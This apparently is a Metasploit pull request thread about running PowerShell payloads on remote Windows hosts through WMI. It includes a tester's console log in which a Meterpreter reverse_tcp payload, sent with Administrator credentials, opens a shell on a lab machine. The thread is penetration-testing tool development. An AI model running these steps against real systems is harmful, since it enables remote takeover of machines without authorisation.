WMIC ExtAPI Improvements

[Meatballs1]

With the WMI calls available in ExtAPI we no longer need to stage the powershell payload in the environment variables, we can do a single call to execute it.

Also fixes an issue in Msf::Core::Post::WMIC which called starts_with instead of starts_with?

Resolves: #4308

Verification

• Set up a remote host which allows Windows Management Instrumentation: http://www.poweradmin.com/help/enablewmi.aspx
• Target that host
• Set credentials and payload
• Go.

[busterb]

Cool, seems to work for me:

msf exploit(handler) > use exploit/windows/local/wmi 
msf exploit(wmi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(wmi) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(wmi) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(wmi) > set SESSION 1
SESSION => 1
msf exploit(wmi) > set rhosts 192.168.56.2
rhosts => 192.168.56.2
msf exploit(wmi) > run

[*] Started reverse handler on 192.168.56.1:4444 
[*] [192.168.56.2] Executing payload
[+] [192.168.56.2] Process Started PID: 1056
[*] Sending stage (770048 bytes) to 192.168.56.2

meterpreter > sysinfo
Computer        : WIN-2BJK4SPOGFL
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32

[Meatballs1]

Cheers ears